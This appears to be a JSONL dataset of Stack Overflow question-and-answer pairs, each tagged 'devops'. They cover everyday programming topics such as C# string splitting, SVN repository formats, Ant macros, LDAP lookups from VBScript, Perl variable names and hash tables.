{"id": "hf_7895ece3d318", "question": "<p>I am working on a small project to take a CSV file and then insert its data into a HTML table (I would use datagrid and dataset or datatable, but the system I will be talking to does not support ASP.NET uploads for sending newsletters).</p>\n\n<p>Anyway, I will use the file.readalllines method to return the contents of the csv file into a string array.</p>\n\n<p>But for each string member of the array, I will be using the string.split function to split up the string into the char array. Problem is (and the csv file is generated by the system I talk to btw - I get data from this system and feed data into it), the csv contents are makes of cars. This means that I could have:</p>\n\n<p>Nissan Almera</p>\n\n<p>Nissan Almera 1.4 TDi</p>\n\n<p>VW Golf 1.9 SE</p>\n\n<p>And so forth...</p>\n\n<p>Is there a robust way I could ensure that where I have Almera 1.4 TDi, for example, it is one member in the char array I split each string into, rather than seperate members.</p>\n", "question_body": "", "answer": "The Split() method takes a char parameter which can be used to specify the delimiter. So you can do something like:\n```\n```\nString.Split(Convert.ToChar(\",\"));\n```\n```\nJudging by your question all the car makes should be delimited by commas so this should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.236787"}
{"id": "hf_8bd9485f431c", "question": "<p>I know of <code>is</code> and <code>as</code> for <code>instanceof</code>, but what about the reflective <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/lang/Class.html#isInstance(java.lang.Object)\" rel=\"noreferrer\">isInstance()</a> method?</p>\n", "question_body": "", "answer": "The equivalent of Java’s\n```\nobj.getClass().isInstance(otherObj)\n```\nin C# is as follows:\n```\n```\nbool result = obj.GetType().IsAssignableFrom(otherObj.GetType());\n```\n```\nNote that while both Java and C# work on the runtime type object (Java\n```\njava.lang.Class\n```\n≣ C#\n```\nSystem.Type\n```\n) of an\n```\nobj\n```\n(via\n```\n.getClass()\n```\nvs\n```\n.getType()\n```\n), Java’s\n```\nisInstance\n```\ntakes an object as its argument, whereas C#’s\n```\nIsAssignableFrom\n```\nexpects another\n```\nSystem.Type\n```\nobject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.260840"}
{"id": "hf_975eb3b0da50", "question": "<p>How can I determine current version of my repository to see if I need to upgrade it (svnadmin upgrade)?</p>\n\n<p>In reality I'm hosting SVN with 3rd party and I want to find out if I need to ask them to upgrade my repos or not.</p>\n\n<p>I'm asking since 1.5 server will keep repo version at 1.4, unless I miss something?</p>\n", "question_body": "", "answer": "Have a look at\n```\n<REPO>/db/format\n```\n. After upgrading to 1.5 format, my\n```\nformat\n```\nfile shows:\n```\n```\n3\nlayout sharded 1000\n```\n```\nBefore it used to be:\n```\n```\n2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.286044"}
{"id": "hf_8e12781a4e30", "question": "<p>Does this pattern:</p>\n\n<pre><code>setTimeout(function(){\n             // do stuff\n}, 0);\n</code></pre>\n\n<p>Actually return control to the UI from within a loop? When are you supposed to use it? Does it work equally well in all browsers?</p>\n", "question_body": "", "answer": "http://blog.thinkature.com/index.php/2006/11/26/escaping-the-javascript-call-stack-with-settimeout/\nSome good info in there. Basically, you are correct and it works on pretty much all browsers. Cool trick.\nYou would want to use this in the example that the author of the post gave, as well as instances where you need to return execution back to the calling function before your code is executed. Javascript is, apparently, not multi-threaded, but this comes close.\nHope this helps :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.345270"}
{"id": "hf_74cedaabbd0f", "question": "<p>I've heard a lot about profiling. What is this all about? As far as I understand this is some kind of performance measurement but can someone elaborate this on more clearly so that a newbie can grasp the idea. Also, I use Eclipse IDE for my Java program. Can I profile my program using Eclipse IDE? What are the factors to be considered while profiling (I mean the best practices)?</p>\n", "question_body": "", "answer": "Profiling basically shows you how often a given line of code is executed and how much time was spent in it (compared to other lines). This makes it easy to pinpoint the location where your code spends most of the time.\nIt also makes it possible to find places where your code spends much time without doing anything: this is the typical sign of a\ncache miss\nand this is where you should get active.\nUsually, programs spend very much time (say, 90%) in one place. Unfortunately, finding this place without profiling isn't possible. Guesswork often goes awry. So if you optimize in the wrong place, this won't help at all: if the overall time spent in that line is only 10%, your code will only get 10% faster (at best!). If, however, you succeed in removing the call that takes 90% of the time, your programm will get\nten times faster\n.\nThis, in a nutshell, is profiling.\nEclipse offers builtin profiling capabilies and I've been told that they're pretty good but since I don't know them, let someone else answer that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.368816"}
{"id": "hf_42e13bd80fcd", "question": "<p>How does one choose the size of a buffer (bytes I read from or write to socket) for the maximum throughput when implementing a low-level HTTP and FTP transfer? My application should transfer data with HTTP or FTP on connections varying from 130 Kbps to 3 Mbps (I know the expected speed beforehand). Sometimes it's a one way transfer, sometimes it goes in both directions. Should I stick with some average buffer size or I must vary it depending on the connection speed?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Choose a buffer size over 8KB.  9000 is typically the largest MTU (maximum transmission unit) size used in even the fastest networks.\nWhen you use a buffer larger than the MTU of the connection, the operating system will break it down in to MTU sized pieces as needed, and thus anything you use over the MTU will have little effect on network performance.\nHowever, using a large buffer will likely have other effect on performance, if you're transferring files, then using large buffers may increase the read performance, thus improving the speed of your application.\nSo, Usually picking a nice round number like 16KB is a good idea.  Definitely don't go under 1500, as this can negatively effect network performance (causing the operating system to sometimes send small packets, which decrease performance on the network).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.403902"}
{"id": "hf_2bb10229e0c8", "question": "<p>In Ant is there any way to do something like this:</p>\n\n<pre><code>&lt;arguments id=\"arg-list\"&gt;\n    &lt;arg value=\"arg1\" /&gt;\n    &lt;arg value=\"arg2\" /&gt;\n&lt;/arguments&gt;\n\n&lt;property name=\"prop1\" refid=\"arg-list\" /&gt;\n</code></pre>\n\n<p>I'm trying to write a macro for psexec and I'm looking for a nice way to pass in the argument list.</p>\n\n<p>I know that you can do something similar with classpaths...</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I don't know of an answer to your specific question. The documentation is clear that refid 'Only yields reasonable results for references to PATH like structures or properties.'\nWithout a bit more information on what you're trying to do, it's hard to comment. At the risk of changing your design, rather than answering your question, I suggest:\n1) You can pass the argument list to exec as a line:\n```\n```\n<macrodef name=\"example\">\n  <attribute name=\"args\"/>\n  <sequential>\n    <exec executable=\"example.exe\">\n      <arg value=\"somearg\" />\n      <arg line=\"@{args}\"/>\n    </exec>\n  </sequential>\n</macrodef>\n\n<example args=\"somearg arg1 arg2\"/>\n```\n```\nWhich will run example.exe:\n```\n```\nexample.exe arg1 arg2\n```\n```\n2) I pass in arguments to macros that call external apps like this:\n```\n```\n<macrodef name=\"example\">\n  <element name=\"params\" optional=\"yes\" implicit=\"yes\"/>\n  <sequential>\n    <exec taskname=\"eg\" executable=\"example.exe\">\n      <arg value=\"somearg\" />\n      <params />  \n    </exec>  \n  </sequential>\n</macrodef>\n\n<example>\n  <arg value=\"arg1\"/>\n  <arg value=\"arg2\"/>\n</example>\n```\n```\nThis will run example.exe:\n```\n```\nexample.exe somearg arg1 arg2\n```\n```\nI hope I haven't been teaching my grandmother to suck eggs here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.439074"}
{"id": "hf_686ed40f5f25", "question": "<p>I've noticed, using visual studio 2003, that I can \"comment out\" my comments to make them no longer be comments. This one needs an example:</p>\n\n<p>If I have:</p>\n\n<pre><code>/*\nint commented_out = 0;\n*/\n</code></pre>\n\n<p>I can comment out the /* and */ with // and code within the /* and */ is no longer \"commented out\" (the text changes to non-comment color <strong>and</strong> the compiler treats it as code once again). Like so:</p>\n\n<pre><code>///*\nint commented_out = 0;\n//*/\n</code></pre>\n\n<p>I've found this is true for msvc 2003, is this normal C++ behavior or is it just a fluke that works with this compiler?</p>\n", "question_body": "", "answer": "It should work in any compiler as the\n```\n//\n```\nis encountered first in the input stream.\nI tend to use\n```\n#if 0\n```\nfor this sort of stuff and change it to\n```\n#if 1\n```\nto uncomment, shown here:\n```\n```\n#if 0\n    int commented_out = 0;\n#endif\n```\n```\nThen I don't have to worry about comment markers at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.465266"}
{"id": "hf_fcb1b0438554", "question": "<p>I was wondering if there is a way to implement an action listener for a Jbutton without a name. For example, I have the following for loop that creates a button for each letter of the alphabet.</p>\n\n<pre><code>for (int i = 65; i &lt; 91; i++){\n     alphabetPanel.add(new JButton(\"&lt;html&gt;&lt;center&gt;\" + (char)i));\n}\n</code></pre>\n\n<p>Is there a way that I can add an action listener for each of those buttons without getting rid of my for loop and hard coding each JButton and then creating an action listener for each? </p>\n\n<p>Thanks in advance,</p>\n\n<p>Tomek</p>\n", "question_body": "", "answer": "Your question is a little vague.  it would be trivial to modify the loop to add a listener inside the loop:\n```\n```\nActionListener listener = something;\n\nfor (int i = 65; i < 91; i++){\n     JButton button = new JButton(\"<html><center>\" + (char)i);\n     button.addActionListener( listener );\n     alphabetPanel.add(button);\n}\n```\n```\nif you can't modify the loop you could iterate over all of the panel's children, and add listeners to any of the children that are jbuttons.\nalso why are you using html to center the text?  isn't that overkill? doesn't jbutton already center text?\nyou could use setHorizontalAlignement(SwingConstants.CENTER) to do it too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.502389"}
{"id": "hf_7aef20da25c5", "question": "<p>I'm trying to design a homepage for an MVC site that has two different views, based on if the user is logged in or not.</p>\n\n<p>So image the default (not logged in) view is showing general, nonspecific info. If i'm logged in, the view is showing mostly personal stuff instead.</p>\n\n<p>What's the best practice to handling this? Don't forget, we also need to unit test this.</p>\n\n<p>Thanks heaps!</p>\n", "question_body": "", "answer": "This should be a simple case of returning the appropriate view from your controller.\n```\n```\npublic ActionResult Index()\n\n    If (User.IsLoggedOn)\n    {\n        // Do user-specific controller stuff here...\n\n        return View(\"LoggedOnIndex\");\n    }\n    else\n    {\n        // Do anon controller stuff here...\n\n        return View(\"AnonymousIndex\");\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.556070"}
{"id": "hf_c881269c501b", "question": "<p>How does one do namespaced controllers in Merb, for instance to create an admin section to the site? In Rails one would use Admin::CategoriesController, is this similar in Merb or is this another recommended way of doing it?</p>\n", "question_body": "", "answer": "The namespace method seems to do it.\nThis is placed in the routes file (router.rb):\n```\n```\nnamespace :admin do\n  resources :categories\nend\n```\n```\nThis generates routes like:\n```\nedit_admin_category - /admin/categories/:id/edit(.:format)\ndelete_admin_category - /admin/categories/:id/delete(.:format)\nadmin_categories - /admin/categories(/index)(.:format)\nnew_admin_category - /admin/categories/new(.:format)\nadmin_category - /admin/categories/:id(.:format)\n```\nI then put my controller in a module like this:\n```\n```\nmodule Admin\n  class Categories < Application\n    def index\n      ...\n    end\n\n    .\n    .\n    .\n  end\nend\n```\n```\nI am not sure if this is the recommended way, any suggestions to this would be great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.596850"}
{"id": "hf_673ab118b92c", "question": "<p>I'm using a logging module that can have reporting enabled/disabled at runtime. Calls generally go something like:</p>\n\n<pre><code>WARN(\n     \"Danger Will Robinson! There are \"\n     + boost::lexical_cast&lt;string&gt;(minutes)\n     + \" minutes of oxygen left!\"\n);\n</code></pre>\n\n<p>I'm using an inline function for WARN, but I'm curious as to how much optimization is going on behind the scenes -- evaluation of the arguments throughout the entire program would be costly. The <code>WARN</code> function goes something like this:</p>\n\n<pre><code>bool WARNINGS_ENABLED = false;\ninline void WARN(const string &amp;message) {\n    if (!WARNINGS_ENABLED) {\n       return;\n    }\n    // ...\n}\n</code></pre>\n\n<p>Given that constructing the string argument has no side-effects, will the compiler optimize it out? Is a certain level of optimization required (<code>-Ox</code> in <code>g++</code> for some <code>x</code>)?</p>\n", "question_body": "", "answer": "I'd guess that it only has a chance to optimize it out if it can prove that there are no side effects (which might be difficult for the compiler to do for an expensive function call).\nI'm not a boost expert, but I'm guessing there's a way to construct a lambda that will only be evaluated to generate the string if WARNINGS_ENABLED is true.  Something like...\n```\n```\ninline void warnFunc(some_boost_lambda &message_generator) {\n  if (WARNINGS_ENABLED) {\n    cerr << message_generator() << endl;\n  }\n}\n\n#define WARN(msg) warnFunc(...insert boost magic here to turn msg into a lambda...)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.649275"}
{"id": "hf_1bd0fe039f70", "question": "<p>I'm attempting to utilize <a href=\"http://en.wikipedia.org/wiki/VBScript\" rel=\"nofollow noreferrer\">VBScript</a> to connect pull the <code>physicalDeliveryOfficeName</code> attribute in <a href=\"http://en.wikipedia.org/wiki/Active_Directory\" rel=\"nofollow noreferrer\">Active Directory</a> by providing the email address.  </p>\n\n<p>I know how to do it with a common name like the following:</p>\n\n<pre><code>Set MyUser = GetObject (\"LDAP://cn=\" &amp; uname &amp; \",ou=\" &amp; strname &amp; \",DC=bobdom,DC=net\")\n</code></pre>\n\n<p>However only the email address is available.  How to do this? I've even tried </p>\n\n<pre><code>Set MyUser = GetObject (\"LDAP://mail=\" &amp; uname &amp; \",ou=\" &amp; strname &amp; \",DC=bobdom,DC=net\")\n</code></pre>\n\n<p>and that doesn't work.  </p>\n", "question_body": "", "answer": "If using an\nLDAP\nquery (not sure if you need the server name in there in your case):\n```\n```\n<LDAP://SERVERNAME/DC=bobdom,DC=net>;(&(objectClass=user)(mail=mike.spencer@kenblanchard.com));\n```\n```\nTrying it out in my own environment, it looks like this (with a couple things genericized):\n```\n```\n<LDAP://SERVERNAME/DC=bobdom,DC=net>;(&(mail=email@company.com));name,mail,member,description,memberOf,userParameters,userAccountControl,whenCreated,CN;subTreeCount=1\n```\n```\nAnd the whole batch looks like this (in ASP; if done in a .vbs file you'll need to change the\n```\nServer.CreateObject\n```\nto just\n```\nCreateObject\n```\n... I think).\n```\n```\nSet oCon        = Server.CreateObject(\"ADODB.Connection\")\noCon.Provider   = \"ADsDSOObject\"\noCon.Open \"ADProvider\", \"ADUsername\", \"ADPassword\"\n\nSet oCmd        = Server.CreateObject(\"ADODB.Command\")\nSet oCmd.ActiveConnection = oCon\n\nsQuery = \"<LDAP://SERVERNAME/DC=bobdom,DC=net>;(&(mail=email@company.com));name,distinguishedName,physicalDeliveryOfficeName;subTreeCount=1>\"\n\noCmd.CommandText = sQuery\nSet ADRecordSet = oCmd.Execute\n```\n```\nYou may need to fiddle with\n```\nsubTreeCount\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.731971"}
{"id": "hf_29707cf46705", "question": "<p>What is the correct way to convert ASP.NET SOAP-based web services to JSON-based responses?\n...And then call these from jQuery?</p>\n\n<p>What are \"best practices\" when integrating jQuery based AJAX and ASP.NET?\nArticles? Books?</p>\n", "question_body": "", "answer": "JSON conversion to .NET classes can be done with\nSystem.Runtime.Serialization\nand\nSystem.Runtime.Serialization.JSON\n. I suspect you're more interested in setting up function calls from client to server. I think it is worth trying\nthis tutorial\n.\nIn this tutorial, you'll need to add a webservice '.asmx' file.  In the asmx file you will be able to create functions callable from client script.  Your ASP.NET pages can also reference client script generated to make calling the .asmx functions.\nIf you actually want to do JSON serialization though, you could also use the following:\n```\n```\nusing System.Runtime.Serialization;\nusing System.Runtime.Serialization.Json;\n\npublic class JsonSerializer\n{\n    // To make a type serializeable, mark it with DataContractAttribute\n    // To make a member of such types serializeable, mark them with DataMemberAttribute\n    // All types marked for serialization then need to be passed to JsonSerialize as\n    // parameter 'types'\n\n    static public string JsonSerialize(object objectToSerialize, params Type[] types)\n    {\n        DataContractJsonSerializer serializer = new DataContractJsonSerializer(\n            types[0], types.Skip(1));\n\n        MemoryStream ms = new MemoryStream();\n        serializer.WriteObject(ms, objectToSerialize);\n        ms.Seek(0, SeekOrigin.Begin);\n        StreamReader sr = new StreamReader(ms);\n        return sr.ReadToEnd();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.768433"}
{"id": "hf_c941ab363c11", "question": "<p>In PHP, I can write:</p>\n\n<pre><code>$vname = 'phone';\n$$vname = '555-1234';\nprint $phone;\n</code></pre>\n\n<p>... And the script will output \"555-1234\".</p>\n\n<p>Is there any equivalent in Perl?</p>\n\n<p>Is there any way to constrain <code>$phone</code> to the scope of the local block, as if I'd written <code>my $phone</code>? Using <code>my $$vname</code> gives me \"Can't declare scalar dereference in my at ...\" errors.</p>\n", "question_body": "", "answer": "You can do it in a very similar way:\n```\n```\n$vname = \"phone\";\n$$vname = \"555-1234\";\nprint $phone;\n```\n```\nBut that you can doesn't mean that you should. The best way to manage this is,\nas Michael Carman says\n,\nUSE A HASH!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.799132"}
{"id": "hf_d894daa246e0", "question": "<p>Something that confuses me, but has never caused any problems... the recommended way to dispatch an event is as follows:</p>\n\n<pre><code>public event EventHandler SomeEvent;\n...\n{\n    ....\n    if(SomeEvent!=null)SomeEvent();\n}\n</code></pre>\n\n<p>In a multi-threaded environment, how does this code guarantee that another thread will not alter the invocation list of <code>SomeEvent</code> between the check for null and the invocation of the event?</p>\n", "question_body": "", "answer": "The recommended way is a little different and uses a temporary as follows:\n```\n```\nEventHandler tmpEvent = SomeEvent;\nif (tmpEvent != null)\n{\n    tmpEvent();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.835004"}
{"id": "hf_99b6e2c9ba38", "question": "<p>I am confused by J2ee webservers !! I downloaded a free Glassfish server from sun, then as I am an Oracle developer downloaded the latest JDeveloper, which comes with a Weblogic server from BEa/Oracle.  One is free the other costs $1000s.  What is the real difference.</p>\n\n<p>I want to write a SOAP interface to my Oracle database 10g, can I get away with the Glassfish server, why should I used a Weblogic server, and how does this differ from the Oracle Application server for J2EE apps.</p>\n\n<p>As you can see I am confused to say the least, and would appreciate any enlightenment.  I am an experience SQL PL/SQL developer, but new to Java so have a certain lack of knowledge in this area.</p>\n", "question_body": "", "answer": "Personally, if you are looking for an open source J2EE app server, I'd tend to go with JBoss if only because it has a much larger market share, making it a lot more likely that you are going to be able to find people that can answer questions or that have done some particular task and have posted instructions.\nFor the most part, if you are writing a pure J2EE application, it is relatively transparent to the developer what application server you deploy to.  If you decide to take advantage of application-server specific extensions, then the choice of app server may matter to developers, but most Java shops are using a rather vanilla setup that can move reasonably easily between application servers.  If you want to embrace one particular application server's extensions, there may be some performance/ productivity gains available in exchange for a loss of productivity.\nThe people that are more likely to care about what application server you are using are the admins.  Different application servers have very different administrative interfaces (and different levels of administrative complexity and configurability).  The bigger the site and the more critical the application, the more this sort of thing comes in to play.  Different application servers also have different JVM implementations which has different performance characteristics.  You also have the cost of support.  Even if you use a free application server like JBoss, you probably want to purchase a support contract if you are deploying a mission critical application there.  If you're deploying something smaller scale where you're comfortable relying on free sources of assistance (i.e. Google, Stackoverflow, etc.) one of the open source app servers is probably a no-brainer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.871617"}
{"id": "hf_8bd7f6b6c236", "question": "<p>If I have a list like this:</p>\n\n<pre><code>&lt;ul id=\"mylist\"&gt;\n    &lt;li id=\"list-item1\"&gt;text 1&lt;/li&gt;\n    &lt;li id=\"list-item2\"&gt;text 2&lt;/li&gt;\n    &lt;li id=\"list-item3\"&gt;text 3&lt;/li&gt;\n    &lt;li id=\"list-item4\"&gt;text 4&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>What's the easiest way to re-arrange the DOM nodes to my preference? (This needs to happen automatically when the page loads, the list-order preference is gained from a cookie)</p>\n\n<p>E.g.</p>\n\n<pre><code>&lt;ul id=\"mylist\"&gt;\n    &lt;li id=\"list-item3\"&gt;text 3&lt;/li&gt;\n    &lt;li id=\"list-item4\"&gt;text 4&lt;/li&gt;\n    &lt;li id=\"list-item2\"&gt;text 2&lt;/li&gt;\n    &lt;li id=\"list-item1\"&gt;text 1&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n", "question_body": "", "answer": "Though there's probably an easier way to do this using a JS Library, here's a working solution using vanilla js.\n```\n```\nvar list = document.getElementById('mylist');\n\nvar items = list.childNodes;\nvar itemsArr = [];\nfor (var i in items) {\n    if (items[i].nodeType == 1) { // get rid of the whitespace text nodes\n        itemsArr.push(items[i]);\n    }\n}\n\nitemsArr.sort(function(a, b) {\n  return a.innerHTML == b.innerHTML\n          ? 0\n          : (a.innerHTML > b.innerHTML ? 1 : -1);\n});\n\nfor (i = 0; i < itemsArr.length; ++i) {\n  list.appendChild(itemsArr[i]);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.919058"}
{"id": "hf_4a70ab384afc", "question": "<p>I have some shapefile (demographic/heat map data in the USA, such as crime in New York) data imported into a sql server 2008 database, field data type: <em>Geography</em>.</p>\n\n<p>How can i get this data, from a <em>select</em> query, in a format which i can then display on google maps or microsoft virtual earth?</p>\n\n<p>thanks!</p>\n\n<p>Edit 1: So far, the best solution has been to use a (free) 3rd Party dll (<a href=\"http://www.codeplex.com/SharpMap\" rel=\"nofollow noreferrer\">SharpMap</a>). I'm hoping someone might suggest some sql tricks in sql2008 to return it in a compatible format ...</p>\n", "question_body": "", "answer": "The easiest way to do this is to select to XML and then transform the data into GeoRSS or KML.  Virtual Earth and Google Maps both have support for KML so that would probably be the easiest way to do it.\nThere are considerations though.  If you have many many vertices in your data you probably want to implement some sort of AJAX method to retrieve only the data in the map view.  You can generalize data in SQL 2008 to make a fewer amount of vertices depending on your zoom level.  If you are zoomed out to a country level you don't need nearly as much detail as zoomed into a town.\nMapDotNet\nhas a lot of features for getting your data in a Virtual Earth map more easily.  It is relatively easy to perfrom a select query and display the data as you desire.  I'm sure there are other similar products for Google maps but I haven't personally used them.  It has support for polygons as well as heat maps and gives you a lot more functionality than just using Virtual Earth.  Virtual Earth is powerful but there are a lot of GIS tools someone from a mapping background would expect that you have to program in yoursef.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.942835"}
{"id": "hf_e6916fcdb580", "question": "<p>How can you express X of Y are true, in boolean logic?  a rule like 2 of the following must be true (A, B, C, D, E, F)\nis it a form of multiplcation or set operations?<br>\nthe end result is all the permutations like AB OR AC OR AD, if you said 3 of following it is like ABC, ABD, ABE, etc.. so it is like (A,B,C)^2?</p>\n\n<p>thanks!</p>\n", "question_body": "", "answer": "You've got the idea there.  To express \"k of n holds\" you're going to need to enumerate all cases for which k holds.  So, if we have variables A B C D E, and you want 3 of 5, you'll need\n```\n```\n(A  &  B &  C & ~D & ~E) |\n(A  &  B & ~C &  D & ~E) |\n(A  &  B & ~C & ~D &  E) | ...\n(~A & ~B &  C &  D &  E)\n```\n```\nwhere & is \"and\", | is \"or\" and ~ is \"not\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:02.978198"}
{"id": "hf_428292cab57a", "question": "<p>I have a website cgi-bin program that is written in c++. </p>\n\n<p>Unfortunately the website provider for my friend's site only allows Perl or PHP cgi-bin scripts.</p>\n\n<p>Is there an easy way to simply have a very small Perl or PHP wrapper that just calls the c++ compiled binary? </p>\n\n<p>Would the c++ program still be able to read from stdin for POST commands or would it have to be read by the Perl or PHP and then forwarded.</p>\n", "question_body": "", "answer": "You can use PHP's system() function to execute a shell command, which you could use to launch another program.  The STDOUT of that program would then go to the same place as php's stdout (to the HTTP connection).  You might have to do some messing around to get stdin to read from get/post/etc.\nBut most likely the website provider has disabled the ability of you to execute programs in this way.  It can be a security risk, and if they specifically only allow php and perl, then they would probably specifically disable as many methods of running non-php/perl as they could. So, short answer is you're probably out of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.001818"}
{"id": "hf_971a10aaab4d", "question": "<p>I'm quite confused about the basic concepts of a Hash table. If I were to code a hash how would I even begin? What is the difference between a Hash table and just a normal array? </p>\n\n<p>Basically if someone answered this question I think all my questions would be answered:\nIf I had 100 randomly generated numbers (as keys), how would I implement a hash table and why would that be advantageous over an array?</p>\n\n<p>Psuedo-code or Java would be appreciated as a learning tool...</p>\n", "question_body": "", "answer": "Hashtables are\nassociative\n.  This is a huge difference from arrays, which are just linear data structures.  With an array, you might do something like this:\n```\n```\nint[] arr = ...\nfor (int i = 0; i < arr.length; i++) {\n    System.out.println(arr[i] + 1);\n}\n```\n```\nNotice how you are getting an element out of the array by specifying an exact memory offset (\n```\ni\n```\n).  This contrasts with hashtables, which allow you to store key/value pairs, later retrieving the value based on the key:\n```\n```\nHashtable<String, Integer> table = new Hashtable<String, Integer>();\ntable.put(\"Daniel\", 20);\ntable.put(\"Chris\", 18);\ntable.put(\"Joseph\", 16);\n```\n```\nWith the above table, we can make the following call:\n```\n```\nint n = table.get(\"Chris\");\n```\n```\n...and be assured that\n```\nn\n```\nwill be valued at\n```\n18\n```\n.\nI think this will probably answer most of your questions.  The implementation of a hashtable is a fairly interesting topic, one\nwhich Wikipedia addresses passably well\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.037807"}
{"id": "hf_d9851418c444", "question": "<p>I was wondering if someone would be able to help me write a CQL query for NDepend that will show me all the methods in my form class that handle the form events.  So I would like to be able to find all the methods that look like this:</p>\n\n<pre><code>Private Sub AddFolderButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AddFolderButton.Click\n</code></pre>\n\n<p>I have had a look through some of the options but I can't really find anything that does what I need.</p>\n\n<p>I have only just started using NDepend, so I haven't really got used to it yet, but I do know one thing how the hell did I live without it all this time.</p>\n", "question_body": "", "answer": "I have sort of got something that works but its not really 100% correct, because all the form generated event handlers have an underscores in there name, I used the underscore as a filter,  I also filter where the name has \"EventArgs\" in it.  The query looks like this:\n```\n```\nSELECT METHODS WHERE NameLike \"_\" OR NameLike \"EventArgs\" AND !IsSpecialName AND IsPrivate\n```\n```\nThat query pretty much returns all the methods that handle events but I would still like to find a more correct way.", 